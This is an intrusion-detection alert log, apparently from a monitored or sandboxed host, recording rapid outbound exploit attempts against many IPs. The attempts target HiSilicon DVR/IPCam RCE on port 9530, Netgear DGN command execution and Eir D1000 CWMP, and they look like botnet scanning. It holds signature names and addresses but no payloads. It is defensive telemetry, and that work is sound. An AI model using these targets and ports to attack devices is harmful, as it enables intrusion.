05/16/24-16:39:12.382034	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33404	9530	192.168.2.23	98.63.138.72
05/16/24-16:39:12.403674	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58128	9530	192.168.2.23	54.206.63.115
05/16/24-16:39:12.382034	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33404	9530	192.168.2.23	98.63.138.72
05/16/24-16:39:12.403674	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58128	9530	192.168.2.23	54.206.63.115
05/16/24-16:38:59.604419	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44998	9530	192.168.2.23	63.58.183.79
05/16/24-16:39:16.581421	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34966	9530	192.168.2.23	69.152.60.251
05/16/24-16:38:59.604419	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44998	9530	192.168.2.23	63.58.183.79
05/16/24-16:39:16.581421	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34966	9530	192.168.2.23	69.152.60.251
05/16/24-16:38:53.011282	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50094	9530	192.168.2.23	32.242.248.65
05/16/24-16:38:59.584383	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37912	9530	192.168.2.23	118.169.120.39
05/16/24-16:38:59.584383	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37912	9530	192.168.2.23	118.169.120.39
05/16/24-16:39:08.127165	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37740	9530	192.168.2.23	153.201.190.98
05/16/24-16:39:14.532786	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46040	9530	192.168.2.23	141.211.93.44
05/16/24-16:39:08.127165	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37740	9530	192.168.2.23	153.201.190.98
05/16/24-16:39:14.532786	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46040	9530	192.168.2.23	141.211.93.44
05/16/24-16:38:55.221754	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38280	9530	192.168.2.23	73.1.138.244
05/16/24-16:38:55.221754	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38280	9530	192.168.2.23	73.1.138.244
05/16/24-16:39:16.597888	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37166	9530	192.168.2.23	167.189.128.172
05/16/24-16:39:16.597888	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37166	9530	192.168.2.23	167.189.128.172
05/16/24-16:39:03.256814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52602	9530	192.168.2.23	41.55.157.140
05/16/24-16:39:03.256814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52602	9530	192.168.2.23	41.55.157.140
05/16/24-16:38:57.435741	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55758	9530	192.168.2.23	105.127.254.255
05/16/24-16:39:05.678429	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48114	9530	192.168.2.23	133.147.78.108
05/16/24-16:38:57.435741	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55758	9530	192.168.2.23	105.127.254.255
05/16/24-16:39:05.678429	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48114	9530	192.168.2.23	133.147.78.108
05/16/24-16:39:16.580812	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41360	9530	192.168.2.23	31.109.239.97
05/16/24-16:39:12.384498	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56650	9530	192.168.2.23	81.98.168.195
05/16/24-16:38:55.210430	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47926	9530	192.168.2.23	178.49.207.124
05/16/24-16:39:02.725501	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41256	9530	192.168.2.23	149.29.65.202
05/16/24-16:38:55.210430	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47926	9530	192.168.2.23	178.49.207.124
05/16/24-16:39:12.384498	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56650	9530	192.168.2.23	81.98.168.195
05/16/24-16:39:02.725501	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41256	9530	192.168.2.23	149.29.65.202
05/16/24-16:39:16.580812	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41360	9530	192.168.2.23	31.109.239.97
05/16/24-16:38:57.436361	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34094	9530	192.168.2.23	94.242.104.80
05/16/24-16:38:57.436361	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34094	9530	192.168.2.23	94.242.104.80
05/16/24-16:39:12.406034	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39670	9530	192.168.2.23	221.211.82.79
05/16/24-16:39:12.382837	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41510	9530	192.168.2.23	23.201.69.242
05/16/24-16:39:12.382837	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41510	9530	192.168.2.23	23.201.69.242
05/16/24-16:39:12.406034	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39670	9530	192.168.2.23	221.211.82.79
05/16/24-16:39:13.634198	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	50716	80	192.168.2.23	90.26.101.166
05/16/24-16:38:57.451872	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43312	9530	192.168.2.23	4.57.50.244
05/16/24-16:39:12.301136	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59364	9530	192.168.2.23	196.213.108.16
05/16/24-16:39:12.301136	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59364	9530	192.168.2.23	196.213.108.16
05/16/24-16:39:14.507742	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35894	9530	192.168.2.23	209.77.61.175
05/16/24-16:39:02.749283	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35218	9530	192.168.2.23	132.33.84.40
05/16/24-16:39:14.507742	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35894	9530	192.168.2.23	209.77.61.175
05/16/24-16:39:02.749283	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35218	9530	192.168.2.23	132.33.84.40
05/16/24-16:39:02.766979	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51846	9530	192.168.2.23	165.209.16.68
05/16/24-16:38:57.303968	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39720	9530	192.168.2.23	106.120.188.128
05/16/24-16:38:57.303968	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39720	9530	192.168.2.23	106.120.188.128
05/16/24-16:38:57.446970	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44930	9530	192.168.2.23	116.186.171.97
05/16/24-16:38:57.446970	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44930	9530	192.168.2.23	116.186.171.97
05/16/24-16:38:59.520046	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49620	9530	192.168.2.23	116.5.126.125
05/16/24-16:39:08.127279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46902	9530	192.168.2.23	142.50.36.221
05/16/24-16:38:50.053182	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55944	9530	192.168.2.23	145.205.178.107
05/16/24-16:38:59.520046	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49620	9530	192.168.2.23	116.5.126.125
05/16/24-16:39:08.127279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46902	9530	192.168.2.23	142.50.36.221
05/16/24-16:38:50.053182	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55944	9530	192.168.2.23	145.205.178.107
05/16/24-16:39:12.400603	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51284	9530	192.168.2.23	126.178.134.79
05/16/24-16:39:12.400603	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51284	9530	192.168.2.23	126.178.134.79
05/16/24-16:39:02.725540	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40628	9530	192.168.2.23	80.110.143.175
05/16/24-16:39:02.765348	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54090	9530	192.168.2.23	218.229.172.171
05/16/24-16:39:02.725540	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40628	9530	192.168.2.23	80.110.143.175
05/16/24-16:39:02.765348	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54090	9530	192.168.2.23	218.229.172.171
05/16/24-16:38:50.076349	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48266	9530	192.168.2.23	218.100.16.15
05/16/24-16:38:50.076349	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48266	9530	192.168.2.23	218.100.16.15
05/16/24-16:39:12.383624	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42178	9530	192.168.2.23	164.133.42.164
05/16/24-16:39:16.582466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52930	9530	192.168.2.23	54.226.58.124
05/16/24-16:39:12.383624	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42178	9530	192.168.2.23	164.133.42.164
05/16/24-16:39:14.492373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36592	9530	192.168.2.23	134.167.27.93
05/16/24-16:39:16.582466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52930	9530	192.168.2.23	54.226.58.124
05/16/24-16:39:14.492373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36592	9530	192.168.2.23	134.167.27.93
05/16/24-16:39:14.510031	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57166	9530	192.168.2.23	121.175.41.109
05/16/24-16:39:14.510031	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57166	9530	192.168.2.23	121.175.41.109
05/16/24-16:38:53.099175	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34696	9530	192.168.2.23	73.183.116.56
05/16/24-16:38:53.099175	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34696	9530	192.168.2.23	73.183.116.56
05/16/24-16:39:12.382056	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54496	9530	192.168.2.23	133.169.223.193
05/16/24-16:39:12.382056	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54496	9530	192.168.2.23	133.169.223.193
05/16/24-16:38:50.068917	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37848	9530	192.168.2.23	150.209.179.37
05/16/24-16:39:05.700296	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51166	9530	192.168.2.23	175.15.217.130
05/16/24-16:39:05.700296	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51166	9530	192.168.2.23	175.15.217.130
05/16/24-16:38:59.558074	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33624	9530	192.168.2.23	82.190.150.35
05/16/24-16:38:59.558074	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33624	9530	192.168.2.23	82.190.150.35
05/16/24-16:38:50.068917	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37848	9530	192.168.2.23	150.209.179.37
05/16/24-16:39:05.693325	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43740	9530	192.168.2.23	221.109.90.163
05/16/24-16:39:02.766979	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51846	9530	192.168.2.23	165.209.16.68
05/16/24-16:39:14.509949	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33432	9530	192.168.2.23	43.69.48.36
05/16/24-16:39:14.509949	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33432	9530	192.168.2.23	43.69.48.36
05/16/24-16:39:08.115454	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57376	9530	192.168.2.23	69.179.234.21
05/16/24-16:39:08.115454	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57376	9530	192.168.2.23	69.179.234.21
05/16/24-16:38:53.084746	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60776	9530	192.168.2.23	37.142.200.239
05/16/24-16:39:05.693325	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43740	9530	192.168.2.23	221.109.90.163
05/16/24-16:38:53.084746	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60776	9530	192.168.2.23	37.142.200.239
05/16/24-16:39:14.494512	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44314	9530	192.168.2.23	50.174.45.79
05/16/24-16:39:03.260965	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45628	9530	192.168.2.23	128.255.255.136
05/16/24-16:39:05.506497	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	58226	80	192.168.2.23	193.213.19.125
05/16/24-16:39:12.295313	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49856	9530	192.168.2.23	73.100.141.50
05/16/24-16:39:03.260965	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45628	9530	192.168.2.23	128.255.255.136
05/16/24-16:39:12.295313	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49856	9530	192.168.2.23	73.100.141.50
05/16/24-16:39:14.494512	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44314	9530	192.168.2.23	50.174.45.79
05/16/24-16:39:12.377522	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38386	9530	192.168.2.23	163.210.161.21
05/16/24-16:39:12.377522	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38386	9530	192.168.2.23	163.210.161.21
05/16/24-16:39:02.767704	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36460	9530	192.168.2.23	132.190.86.213
05/16/24-16:39:02.767704	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36460	9530	192.168.2.23	132.190.86.213
05/16/24-16:39:05.675993	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34468	9530	192.168.2.23	121.132.183.115
05/16/24-16:39:05.675993	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34468	9530	192.168.2.23	121.132.183.115
05/16/24-16:39:14.494555	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48570	9530	192.168.2.23	38.103.231.238
05/16/24-16:38:59.592896	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55278	9530	192.168.2.23	144.110.166.42
05/16/24-16:38:59.592896	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55278	9530	192.168.2.23	144.110.166.42
05/16/24-16:39:12.401777	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50532	9530	192.168.2.23	185.60.243.108
05/16/24-16:39:12.401777	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50532	9530	192.168.2.23	185.60.243.108
05/16/24-16:39:08.146405	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57230	9530	192.168.2.23	41.229.178.206
05/16/24-16:39:08.146405	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57230	9530	192.168.2.23	41.229.178.206
05/16/24-16:39:14.494555	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48570	9530	192.168.2.23	38.103.231.238
05/16/24-16:39:05.513163	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	59346	80	192.168.2.23	27.250.63.203
05/16/24-16:38:57.409026	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36186	9530	192.168.2.23	97.121.60.190
05/16/24-16:38:57.409026	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36186	9530	192.168.2.23	97.121.60.190
05/16/24-16:38:59.558435	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33302	9530	192.168.2.23	93.33.44.230
05/16/24-16:38:59.558435	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33302	9530	192.168.2.23	93.33.44.230
05/16/24-16:39:12.380591	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34410	9530	192.168.2.23	83.70.176.77
05/16/24-16:39:12.380591	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34410	9530	192.168.2.23	83.70.176.77
05/16/24-16:39:05.677740	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49278	9530	192.168.2.23	182.111.177.174
05/16/24-16:38:59.519416	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51456	9530	192.168.2.23	198.11.233.201
05/16/24-16:39:05.677740	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49278	9530	192.168.2.23	182.111.177.174
05/16/24-16:38:59.519416	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51456	9530	192.168.2.23	198.11.233.201
05/16/24-16:39:16.578974	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56244	9530	192.168.2.23	86.239.60.131
05/16/24-16:39:16.578974	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56244	9530	192.168.2.23	86.239.60.131
05/16/24-16:38:59.588220	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43540	9530	192.168.2.23	59.171.251.81
05/16/24-16:39:14.494605	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34008	9530	192.168.2.23	70.91.131.177
05/16/24-16:39:16.582504	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59954	9530	192.168.2.23	27.183.52.170
05/16/24-16:38:59.588220	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43540	9530	192.168.2.23	59.171.251.81
05/16/24-16:39:16.614089	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36872	9530	192.168.2.23	138.104.223.236
05/16/24-16:39:14.494605	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34008	9530	192.168.2.23	70.91.131.177
05/16/24-16:39:16.614089	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36872	9530	192.168.2.23	138.104.223.236
05/16/24-16:39:12.301238	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34200	9530	192.168.2.23	76.189.236.19
05/16/24-16:39:12.301238	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34200	9530	192.168.2.23	76.189.236.19
05/16/24-16:39:16.582504	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59954	9530	192.168.2.23	27.183.52.170
05/16/24-16:39:12.295339	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58054	9530	192.168.2.23	71.116.240.150
05/16/24-16:39:12.295339	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58054	9530	192.168.2.23	71.116.240.150
05/16/24-16:38:50.046279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33534	9530	192.168.2.23	208.216.24.199
05/16/24-16:38:50.046279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33534	9530	192.168.2.23	208.216.24.199
05/16/24-16:38:57.406693	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58872	9530	192.168.2.23	164.193.220.109
05/16/24-16:39:02.727004	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58950	9530	192.168.2.23	27.143.33.112
05/16/24-16:39:02.727004	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58950	9530	192.168.2.23	27.143.33.112
05/16/24-16:38:57.406693	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58872	9530	192.168.2.23	164.193.220.109
05/16/24-16:38:57.406678	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45818	9530	192.168.2.23	58.241.11.39
05/16/24-16:38:55.210425	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50240	9530	192.168.2.23	91.65.141.138
05/16/24-16:38:55.210425	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50240	9530	192.168.2.23	91.65.141.138
05/16/24-16:38:57.406678	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45818	9530	192.168.2.23	58.241.11.39
05/16/24-16:38:57.411355	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48190	9530	192.168.2.23	125.180.98.108
05/16/24-16:38:57.411355	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48190	9530	192.168.2.23	125.180.98.108
05/16/24-16:39:13.663454	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	36772	80	192.168.2.23	206.205.86.165
05/16/24-16:38:50.063103	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36460	9530	192.168.2.23	49.154.66.28
05/16/24-16:38:50.063103	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36460	9530	192.168.2.23	49.154.66.28
05/16/24-16:38:55.192606	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35054	9530	192.168.2.23	150.39.16.194
05/16/24-16:39:12.382860	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59234	9530	192.168.2.23	47.202.12.132
05/16/24-16:39:12.382860	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59234	9530	192.168.2.23	47.202.12.132
05/16/24-16:39:14.514881	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44786	9530	192.168.2.23	17.116.249.108
05/16/24-16:39:14.514881	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44786	9530	192.168.2.23	17.116.249.108
05/16/24-16:39:14.518784	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43664	9530	192.168.2.23	47.152.143.83
05/16/24-16:39:14.518784	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43664	9530	192.168.2.23	47.152.143.83
05/16/24-16:38:53.011335	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33226	9530	192.168.2.23	1.50.192.120
05/16/24-16:38:53.011335	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33226	9530	192.168.2.23	1.50.192.120
05/16/24-16:38:57.441181	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57850	9530	192.168.2.23	173.5.142.182
05/16/24-16:38:57.441181	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57850	9530	192.168.2.23	173.5.142.182
05/16/24-16:39:02.745279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57928	9530	192.168.2.23	219.202.147.8
05/16/24-16:39:02.745279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57928	9530	192.168.2.23	219.202.147.8
05/16/24-16:39:05.693256	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47486	9530	192.168.2.23	118.199.220.24
05/16/24-16:39:05.717181	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36666	9530	192.168.2.23	94.172.50.10
05/16/24-16:39:05.717181	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36666	9530	192.168.2.23	94.172.50.10
05/16/24-16:38:55.176089	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60912	9530	192.168.2.23	189.171.156.238
05/16/24-16:39:12.298330	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44510	9530	192.168.2.23	53.81.199.199
05/16/24-16:39:14.353056	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45482	5555	192.168.2.23	174.168.65.218
05/16/24-16:39:12.298330	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44510	9530	192.168.2.23	53.81.199.199
05/16/24-16:39:05.675949	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46996	9530	192.168.2.23	42.87.235.186
